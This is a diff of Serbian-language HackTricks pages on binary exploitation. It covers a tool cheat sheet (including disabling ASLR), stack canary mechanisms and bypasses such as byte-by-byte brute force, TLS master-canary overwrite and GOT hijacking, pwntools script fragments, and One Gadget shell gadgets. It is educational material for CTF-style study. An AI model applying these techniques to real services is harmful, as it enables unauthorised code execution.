**-o** --> Izlaz\
**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR u Linuxu
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR u linuxu
**Za kompajliranje shell koda:**\
**nasm -f elf assembly.asm** --> vraća ".o"\
@ -175,10 +187,10 @@ _Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
## Objdump
**-d** --> **Razmontiraj izvršne** sekcije (vidi op-kodove kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\
**-d** --> **Disasembliraj izvršne** sekcije (vidi opcode kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\
**-Mintel** --> **Intel** sintaksa\
**-t** --> **Tabela simbola**\
**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\
**-D** --> **Disasembliraj sve** (adresa statičke promenljive)\
**-s -j .dtors** --> dtors sekcija\
**-s -j .got** --> got sekcija\
\-D -s -j .plt --> **plt** sekcija **dekompilirana**\
@ -188,8 +200,8 @@ _Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
## Core dumps
1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa
2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. Pokreni `ulimit -c unlimited` pre pokretanja mog programa
2. Pokreni `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<putanja/core> --quiet
## Više
@ -211,7 +223,7 @@ _Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
### Debagovanje na udaljenom Linuxu
Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar Linuxa. Da biste to uradili, premestite binarnu datoteku `linux_server` ili `linux_server64` unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:
Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarnih datoteka unutar Linuxa. Da biste to uradili, premestite binarnu datoteku `linux_server` ili `linux_server64` unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:
```
./linux_server64 -Ppass
```

View file

@ -6,12 +6,11 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Podelite svoje hakovanje trikove slanjem PR-ova na **HackTricks** i **HackTricks Cloud** github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
@ -19,31 +18,31 @@ Drugi načini podrške HackTricks-u:
**StackGuard** ubacuje posebnu vrednost poznatu kao **canary** pre **EIP (Extended Instruction Pointer)**, specifično `0x000aff0d` (predstavlja null, novi red, EOF, povratak karijete) kako bi se zaštitio od preplavljivanja bafera. Međutim, funkcije poput `recv()`, `memcpy()`, `read()` i `bcopy()` ostaju ranjive, i ne štiti **EBP (Base Pointer)**.
**StackShield** pristupa na sofisticiraniji način od StackGuard-a održavajući **Global Return Stack**, koji čuva sve povratne adrese (**EIPs**). Ovaj setup osigurava da bilo koje preplavljivanje ne uzrokuje štetu, jer omogućava upoređivanje između sačuvanih i stvarnih povratnih adresa kako bi se otkrili slučajevi preplavljivanja. Dodatno, StackShield može proveriti povratnu adresu naspram granice vrednosti kako bi otkrio da li **EIP** pokazuje van očekivanog prostora podataka. Međutim, ova zaštita može biti zaobiđena tehnikama poput Return-to-libc, ROP (Return-Oriented Programming) ili ret2ret, što ukazuje da StackShield takođe ne štiti lokalne promenljive.
**StackShield** pristupa na sofisticiraniji način od StackGuard-a održavajući **Global Return Stack**, koji čuva sve povratne adrese (**EIPs**). Ova postavka osigurava da bilo koje preplavljivanje ne uzrokuje štetu, jer omogućava upoređivanje sačuvanih i stvarnih povratnih adresa radi otkrivanja preplavljivanja. Dodatno, StackShield može proveriti povratnu adresu naspram granice vrednosti kako bi otkrio da li **EIP** pokazuje van očekivanog prostora podataka. Međutim, ova zaštita može biti zaobiđena tehnikama poput Return-to-libc, ROP (Return-Oriented Programming) ili ret2ret, što ukazuje da StackShield takođe ne štiti lokalne promenljive.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Ovaj mehanizam postavlja **canary** pre **EBP**, i reorganizuje lokalne promenljive tako da postavlja baufere na višim memorijskim adresama, sprečavajući ih da prepisuju druge promenljive. Takođe sigurno kopira argumente prosleđene na stek iznad lokalnih promenljivih i koristi ove kopije kao argumente. Međutim, ne štiti nizove sa manje od 8 elemenata ili baufere unutar strukture korisnika.
**Canary** je slučajan broj izveden iz `/dev/urandom` ili podrazumevana vrednost `0xff0a0000`. Čuva se u **TLS (Thread Local Storage)**, omogućavajući deljenje memorijskih prostora između niti da imaju niti-specifične globalne ili statičke promenljive. Ove promenljive se prvobitno kopiraju iz roditeljskog procesa, a dečiji procesi mogu menjati svoje podatke bez uticaja na roditelja ili srodne procese. Ipak, ako se koristi **`fork()` bez kreiranja novog canary-a, svi procesi (roditelji i deca) dele isti canary**, čineći ga ranjivim. Na arhitekturi **i386**, canary se čuva na `gs:0x14`, a na **x86\_64**, na `fs:0x28`.
**Canary** je slučajan broj izveden iz `/dev/urandom` ili podrazumevana vrednost `0xff0a0000`. Čuva se u **TLS (Thread Local Storage)**, omogućavajući deljenje memorijskih prostora između niti da imaju niti-specifične globalne ili statičke promenljive. Ove promenljive su početno kopirane iz roditeljskog procesa, a deca procesa mogu menjati svoje podatke bez uticaja na roditelja ili srodne procese. Međutim, ako se koristi **`fork()` bez kreiranja novog canary-ja, svi procesi (roditelji i deca) dele isti canary**, čineći ga ranjivim. Na arhitekturi **i386**, canary se čuva na `gs:0x14`, a na **x86\_64**, na `fs:0x28`.
Ova lokalna zaštita identifikuje funkcije sa baferima ranjivim na napade i ubacuje kod na početak ovih funkcija da postavi canary, i na kraju da proveri njegovu celovitost.
Kada veb server koristi `fork()`, omogućava napad brute-force da pogodi bajt canary-a po bajt. Međutim, korišćenje `execve()` nakon `fork()` prepisuje memorijski prostor, poništavajući napad. `vfork()` omogućava dečijem procesu da izvršava bez dupliciranja dok ne pokuša da piše, u tom trenutku se kreira duplikat, nudeći drugačiji pristup kreiranju procesa i upravljanju memorijom.
Kada veb server koristi `fork()`, omogućava napad brute-force da pogodi bajt canary-ja po bajt. Međutim, korišćenje `execve()` nakon `fork()` prepisuje memorijski prostor, poništavajući napad. `vfork()` omogućava detetu procesu da izvrši bez dupliranja dok ne pokuša da piše, nakon čega se kreira duplikat, nudeći drugačiji pristup kreiranju procesa i upravljanju memorijom.
### Dužine
U `x64` binarnim fajlovima, canary kolačić je **`0x8`** bajtni qword. **Prva sedam bajtova su slučajna** i poslednji bajt je **null bajt.**
U `x64` binarnim fajlovima, canary kolačić je **`0x8`** bajt qword. **Prva sedam bajtova su slučajna** i poslednji bajt je **nula bajt**.
U `x86` binarnim fajlovima, canary kolačić je **`0x4`** bajtni dword. **Prva tri bajta su slučajna** i poslednji bajt je **null bajt.**
U `x86` binarnim fajlovima, canary kolačić je **`0x4`** bajt dword. **Prva tri bajta su slučajna** i poslednji bajt je **nula bajt**.
{% hint style="danger" %}
Najmanje značajan bajt oba canary-a je null bajt jer će biti prvi na steku dolazeći sa nižih adresa i stoga **funkcije koje čitaju stringove će prestati sa čitanjem pre njega**.
{% hint style="opasnost" %}
Najmanje značajan bajt oba canary-ja je nula bajt jer će biti prvi na steku dolazeći sa nižih adresa i stoga **funkcije koje čitaju stringove će prestati sa čitanjem pre njega**.
{% endhint %}
## Bypasses
**Procurenje canary-a** a zatim prepisivanje njega (npr. preplavljivanje bafera) sa sopstvenom vrednošću.
**Procurenje canary-ja** a zatim prepisivanje njega (npr. preplavljivanje bafera) sa sopstvenom vrednošću.
* Ako je **canary forkovan u dečijim procesima** možda je moguće **brute-force**-ovati ga po bajtovima:
@ -59,29 +58,32 @@ Najmanje značajan bajt oba canary-a je null bajt jer će biti prvi na steku dol
* **Prepisivanje pokazivača smeštenih na steku**
Stek ranjiv na preplavljivanje steka može **sadržati adrese ka stringovima ili funkcijama koje mogu biti prepisane** kako bi se iskoristila ranjivost bez potrebe da se dođe do stack canary-a. Proverite:
Stek ranjiv na preplavljivanje steka može **sadržati adrese ka stringovima ili funkcijama koje mogu biti prepisane** kako bi se iskoristila ranjivost bez potrebe da se dosegne canary steka. Proverite:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %}
* **Modifikacija i master i thread canary-a**
* **Modifikacija i master i thread canary-ja**
Preplavljivanje bafera u niti zaštićenoj canary-em može se koristiti za **modifikaciju master canary-a niti**. Kao rezultat, mitigacija je beskorisna jer se provera vrši sa dva canary-a koji su isti (iako modifikovani).
Preplavljivanje bafera u niti zaštićenoj canary-jem može se koristiti za **modifikaciju master canary-ja niti**. Kao rezultat, mitigacija je beskorisna jer se provera vrši sa dva canary-ja koji su isti (iako modifikovani).
Osim toga, preplavljivanje bafera u niti zaštićenoj canary-jem može se koristiti za **modifikaciju master canary-ja smeštenog u TLS-u**. To je zato što je moguće dostići memorijsku poziciju gde je TLS smešten (i stoga, canary) putem **bof-a na steku** niti.\
Kao rezultat, mitigacija je beskorisna jer se provera vrši sa dva canary-ja koji su isti (iako modifikovani).\
Ovaj napad je izvršen u writeup-u: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Pogledajte takođe prezentaciju [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) koja pominje da se obično **TLS** čuva pomoću **`mmap`** i kada se kreira **stek** **niti**, takođe se generiše pomoću `mmap` prema tome, što može omogućiti preplavljivanje kao što je prikazano u prethodnom writeup-u.
* **Modifikacija GOT unosa `__stack_chk_fail`**
Ako binarni fajl ima Partial RELRO, tada možete koristiti proizvoljni zapis da modifikujete **GOT unos `__stack_chk_fail`** da bude lažna funkcija koja ne blokira program ako se canary modifikuje.
Ako binarni fajl ima Partial RELRO, možete koristiti proizvoljni zapis za modifikaciju **GOT unosa `__stack_chk_fail`** da bude lažna funkcija koja ne blokira program ako se canary modifikuje.
Ovaj napad je izvršen u writeup-u: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## Reference
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
<details>
@ -89,8 +91,10 @@ Ovaj napad je izvršen u writeup-u: [https://7rocky.github.io/en/ctf/other/secur
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -20,18 +20,18 @@ Drugi načini podrške HackTricks-u:
{% hint style="info" %}
Imajte na umu da **`checksec`** možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije u mogućnosti da identifikuje funkciju.\
Međutim, možete ručno primetiti ovo ako primetite da je vrednost sačuvana na steku na početku poziva funkcije i ako se ta vrednost proverava pre izlaska.
Međutim, možete ručno primetiti ovo ako primetite da je vrednost sačuvana na steku na početku poziva funkcije i ako se ova vrednost proverava pre izlaska.
{% endhint %}
## Brute force kanarinca
Najbolji način zaobići jednostavan kanarinac je ako je binarni program **forkovanje dječijih procesa svaki put kada uspostavite novu konekciju** sa njim (mrežna usluga), jer će se **isti kanarinac koristiti** svaki put kada se povežete sa njim.
Najbolji način zaobići jednostavan kanarinac je ako je binarni program **forkovanje dječijih procesa svaki put kada uspostavite novu konekciju** sa njim (mrežna usluga), jer će se svaki put kada se povežete **koristiti isti kanarinac**.
Zatim, najbolji način zaobići kanarinac je jednostavno **brute-force-ovati ga karakter po karakter**, i možete saznati da li je pretpostavljeno bajt kanarinca tačan proverom da li je program pao ili nastavlja svoj redovan tok. U ovom primeru funkcija **brute-force-uje 8 bajtova kanarinca (x64)** i razlikuje između tačno pretpostavljenog bajta i lošeg bajta samo **proverom** da li je **odgovor** poslat od strane servera (na drugi način u **drugim situacijama** moglo bi se koristiti **try/except**):
Zatim, najbolji način zaobići kanarinac je jednostavno **bruteforce-ovati ga karakter po karakter**, i možete saznati da li je pogodak kanarinca tačan proverom da li je program pao ili nastavlja svoj redovan tok. U ovom primeru funkcija **bruteforce-uje 8 bajtova kanarinca (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proverom** da li je **odgovor** poslat od strane servera (na drugi način u **drugim situacijama** moglo bi biti korišćenje **try/except**):
### Primer 1
Ovaj primer je implementiran za 64 bita ali se lako može implementirati za 32 bita.
Ovaj primer je implementiran za 64 bita ali se lako može implementirati i za 32 bita.
```python
from pwn import *
@ -73,7 +73,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Primer 2
Ovo je implementirano za 32 bita, ali se lako može promeniti na 64 bita.\
Takođe, obratite pažnju da ovaj primer **očekuje da program prvo dobije bajt koji označava veličinu unosa** i samog payload-a.
Takođe, obratite pažnju da ovaj primer **program očekuje prvo bajt koji ukazuje na veličinu unosa** i samog payload-a.
```python
from pwn import *
@ -118,10 +118,13 @@ log.info(f"The canary is: {canary}")
Niti istog procesa će takođe **deliti isti canary token**, stoga će biti moguće **brute-force**-ovati canary ako binarni fajl pokrene novu nit svaki put kada se desi napad.&#x20;
Osim toga, prekoračenje bafera u niti funkcije zaštićenoj canary-jem može se koristiti za **modifikaciju glavnog canary-ja niti**. Kao rezultat, zaštita je beskorisna jer se provera vrši sa dva canary-ja koji su isti (iako modifikovani).\
Ovaj napad je izvršen u writeup-u: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Osim toga, prekoračenje bafera u funkciji sa nitima zaštićenoj canary-jem može se koristiti za **modifikaciju glavnog canary-ja koji je smešten u TLS**. To je zato što bi bilo moguće dostići poziciju memorije gde je smešten TLS (i stoga, canary) putem **bof-a na steku** niti.\
Kao rezultat, zaštita je beskorisna jer se provera vrši sa dva canary-ja koji su isti (iako modifikovani).\
Ovaj napad je izvršen u objašnjenju: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Pogledajte takođe prezentaciju [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) koja pominje da se obično **TLS** čuva pomoću **`mmap`** i kada se kreira **stek** niti, takođe se generiše pomoću `mmap` prema ovome, što bi moglo omogućiti prekoračenje kao što je prikazano u prethodnom objašnjenju.
## Ostali primeri & reference
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bita, bez PIE-a, nx, BF canary, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo.
* 64 bita, bez PIE, nx, BF canary, upisivanje ROP-a u neku memoriju da pozove `execve` i skoči tamo.

View file

@ -16,16 +16,39 @@ Drugi načini podrške HackTricks-u:
## Osnovne Informacije
[**Jedan Gadget**](https://github.com/david942j/one\_gadget) omogućava dobijanje shell-a umesto korišćenja **system** i **"/bin/sh". Jedan Gadget** će pronaći unutar libc biblioteke neki način za dobijanje shell-a (`execve("/bin/sh")`) koristeći samo jednu **adresu**.\
Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su poput `[rsp+0x30] == NULL`. Pošto kontrolišete vrednosti unutar **RSP**, samo treba poslati još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.
[**Jedan Gadget**](https://github.com/david942j/one\_gadget) omogućava dobijanje shell-a umesto korišćenja **system** i **"/bin/sh". Jedan Gadget** će pronaći unutar libc biblioteke neki način da se dobije shell (`execve("/bin/sh")`) koristeći samo jednu **adresu**.\
Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su poput `[rsp+0x30] == NULL`. Pošto kontrolišete vrednosti unutar **RSP**-a, samo treba poslati još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.
![](<../../../.gitbook/assets/image (751).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
Da biste došli do adrese naznačene od strane One Gadget-a, potrebno je **dodati baznu adresu gde je učitan `libc`**.
Da biste dobili adresu naznačenu od strane One Gadget-a, potrebno je **dodati baznu adresu gde je učitan `libc`**.
{% hint style="success" %}
One Gadget je **velika pomoć za Arbitrary Write 2 Exec tehnike** i može **simplifikovati ROP** **lanac** jer je potrebno pozvati samo jednu adresu (i ispuniti zahteve).
{% endhint %}
## Angry Gadget
Sa [**github repozitorijuma**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspirisan [OneGadget](https://github.com/david942j/one\_gadget) ovaj alat je napisan u Python-u i koristi [angr](https://github.com/angr/angr) da testira uslove za gedžete koji izvršavaju `execve('/bin/sh', NULL, NULL)`\
Ako ste potrošili sve gedžete koje možete isprobati sa OneGadget-om, Angry Gadget nudi mnogo više sa komplikovanim uslovima za isprobavanje!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>